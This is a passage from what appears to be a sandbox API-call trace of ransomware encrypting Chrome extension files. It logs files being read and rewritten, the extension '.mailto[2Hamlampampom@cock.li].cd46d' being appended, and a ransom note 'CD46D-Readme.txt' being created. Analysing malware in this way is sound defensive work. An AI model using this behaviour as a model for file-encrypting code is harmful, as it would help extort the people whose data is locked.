Seed=0x1034f6d4) returned 0x3240445e [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x5aa62429 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x6ef85700 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0xbf8c1b6 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x663b96d3 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x4204fe5 [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x5fad619a [0195.730] RtlRandomEx (in: Seed=0x1034f6d4 | out: Seed=0x1034f6d4) returned 0x554a01f3 [0195.743] ReadFile (in: hFile=0x13e0, lpBuffer=0x13593810, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x1034f6c4, lpOverlapped=0x0 | out: lpBuffer=0x13593810*, lpNumberOfBytesRead=0x1034f6c4*=0xea, lpOverlapped=0x0) returned 1 [0195.750] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.750] WriteFile (in: hFile=0x13e0, lpBuffer=0x135a0018*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x1034f6c0, lpOverlapped=0x0 | out: lpBuffer=0x135a0018*, lpNumberOfBytesWritten=0x1034f6c0*=0xea, lpOverlapped=0x0) returned 1 [0195.927] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0195.927] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2d0 [0195.927] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0195.927] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135a0018) returned 1 [0195.929] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13593810) returned 1 [0195.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fad58) returned 1 [0195.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9768) returned 1 [0195.931] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928978 [0195.931] SetFilePointerEx (in: hFile=0x13e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.932] WriteFile (in: hFile=0x13e0, lpBuffer=0x12cf6788*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1034f728, lpOverlapped=0x0 | out: lpBuffer=0x12cf6788*, lpNumberOfBytesWritten=0x1034f728*=0x10b, lpOverlapped=0x0) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6788) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9289a8) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928978) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c59e0) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5f08) returned 1 [0195.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58a0) returned 1 [0195.993] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494808 [0195.993] wcscpy (in: _Dest=0xd494808, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" [0195.993] wcscat (in: _Dest=0xd494808, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.993] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1034f6e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.993] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8878 [0196.118] FlushFileBuffers (hFile=0x13e0) returned 1 [0196.123] CloseHandle (hObject=0x13e0) returned 1 [0196.146] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x12cf7d90 [0196.146] wcscpy (in: _Dest=0x12cf7d90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\" [0196.146] wcscat (in: _Dest=0x12cf7d90, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\CD46D-Readme.txt" [0196.146] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\cd46d-readme.txt")) returned 0xffffffff [0196.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.159] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1034f6e8, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x1034f6e8*=0x6fd, lpOverlapped=0x0) returned 1 [0196.177] CloseHandle (hObject=0x13e0) returned 1 [0196.188] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf7d90) returned 1 [0196.188] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d475a0) returned 1 Thread: id = 8183 os_tid = 0x644 [0189.792] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json")) returned 0x2020 [0189.792] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json", dwFileAttributes=0x20) returned 1 [0192.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1768 [0192.457] GetFileSizeEx (in: hFile=0x1768, lpFileSize=0x33af944 | out: lpFileSize=0x33af944*=237) returned 1 [0192.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0192.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af398 [0192.457] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af410 [0192.457] NtQuerySystemTime (in: CurrentTime=0x33af8a4 | out: CurrentTime=0x33af8a4*=132174899670586000) returned 0x0 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x2f07a629 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x66a3ac3f [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x2096864e [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x5e08473c [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x8d812ac [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x24369bf2 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x14620406 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x77bd61a5 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x2ccc5901 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x5ae5057 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x5f215077 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x5e3d13b7 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x4148637c [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x14af2219 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x4fa85758 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x4e0d0d85 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x6699f7d5 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x79e89dbd [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0xc1e01ad [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x4ce928d2 [0192.457] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x2e78d081 [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x578e54f7 [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x6c7fcbdb [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x742908ba [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x12a9233d [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x295a7cdb [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0xc0fc5cd [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x182bef7f [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x6630781b [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0xb89f5b3 [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x3fcf99fc [0192.458] RtlRandomEx (in: Seed=0x33af8b0 | out: Seed=0x33af8b0) returned 0x2c253d13 [0192.473] ReadFile (hFile=0x1768, lpBuffer=0xd49a048, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x33af8a0, lpOverlapped=0x0) [0192.474] SetFilePointerEx (in: hFile=0x1768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x1768, lpBuffer=0x12e2a008*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x33af89c, lpOverlapped=0x0 | out: lpBuffer=0x12e2a008*, lpNumberOfBytesWritten=0x33af89c*=0xed, lpOverlapped=0x0) returned 1 [0192.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938040 [0192.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938018 [0192.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938018) returned 1 [0192.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0192.684] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0192.684] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c260) returned 1 [0192.684] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9528) returned 1 [0192.684] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ff0 [0192.684] SetFilePointerEx (in: hFile=0x1768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.684] WriteFile (in: hFile=0x1768, lpBuffer=0x12cf6d00*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x33af904, lpOverlapped=0x0 | out: lpBuffer=0x12cf6d00*, lpNumberOfBytesWritten=0x33af904*=0x10b, lpOverlapped=0x0) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6d00) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7020) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938018) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ff0) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938040) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af398) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0192.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef10) returned 1 [0192.759] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x934448 [0192.759] wcscpy (in: _Dest=0x934448, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" [0192.759] wcscat (in: _Dest=0x934448, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.759] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x33af8bc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.759] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x93d658 Thread: id = 8184 os_tid = 0x15ec [0189.793] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0189.793] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json", dwFileAttributes=0x20) returned 1 [0192.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcbc [0192.475] GetFileSizeEx (in: hFile=0xcbc, lpFileSize=0x35ff82c | out: lpFileSize=0x35ff82c*=16348) returned 1 [0192.475] SetFilePointerEx (in: hFile=0xcbc, liDistanceToMove=0x3fd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.475] ReadFile (in: hFile=0xcbc, lpBuffer=0x35ff7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35ff7ac, lpOverlapped=0x0 | out: lpBuffer=0x35ff7b0*, lpNumberOfBytesRead=0x35ff7ac*=0x4, lpOverlapped=0x0) returned 1 [0192.476] SetFilePointerEx (in: hFile=0xcbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.476] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0192.476] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af410 [0192.476] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af348 [0192.477] NtQuerySystemTime (in: CurrentTime=0x35ff78c | out: CurrentTime=0x35ff78c*=132174899670742000) returned 0x0 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x46dd6f4f [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x2a2ce281 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x1df1ed65 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x18d9c2c [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x7dd71e81 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x4442a07e [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x57fe0659 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x10b1f14b [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x6055ba4b [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x3b94c22d [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x6da2de55 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x1a6ebe6f [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x77a13a4b [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x271f2219 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x422168a5 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x3f6744af [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x51be063a [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x50238d75 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x755edd0a [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x537d087b [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0xc940016 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x45b5d6b2 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x23e5e6c1 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x6845c586 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x789228b3 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x2069b181 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x77fe9bb3 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x62802373 [0192.477] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x515da7a7 [0192.478] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x6659abf5 [0192.478] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x6a32fb98 [0192.478] RtlRandomEx (in: Seed=0x35ff798 | out: Seed=0x35ff798) returned 0x513b8727 [0193.086] ReadFile (hFile=0xcbc, lpBuffer=0xd49a048, nNumberOfBytesToRead=0x3fdc, lpNumberOfBytesRead=0x35ff788, lpOverlapped=0x0) [0193.088] SetFilePointerEx (in: hFile=0xcbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.088] WriteFile (in: hFile=0xcbc, lpBuffer=0x134e4970*, nNumberOfBytesToWrite=0x3fdc, lpNumberOfBytesWritten=0x35ff784, lpOverlapped=0x0 | out: lpBuffer=0x134e4970*, lpNumberOfBytesWritten=0x35ff784*=0x3fdc, lpOverlapped=0x0) returned 1 [0194.468] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0194.468] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909938 [0194.468] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909938) returned 1 [0194.468] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e4970) returned 1 [0194.468] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0194.489] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 [0194.489] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9f48) returned 1 [0194.489] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ae0 [0194.489] SetFilePointerEx (in: hFile=0xcbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.489] WriteFile (in: hFile=0xcbc, lpBuffer=0x12cf5db0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x35ff7ec, lpOverlapped=0x0 | out: lpBuffer=0x12cf5db0*, lpNumberOfBytesWritten=0x35ff7ec*=0x10b, lpOverlapped=0x0) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5db0) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b10) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909938) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ae0) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457d0) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af410) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d83c8) returned 1 [0198.181] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d83f0) returned 1 [0198.181] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0xd4c93a0 [0198.181] wcscpy (in: _Dest=0xd4c93a0, 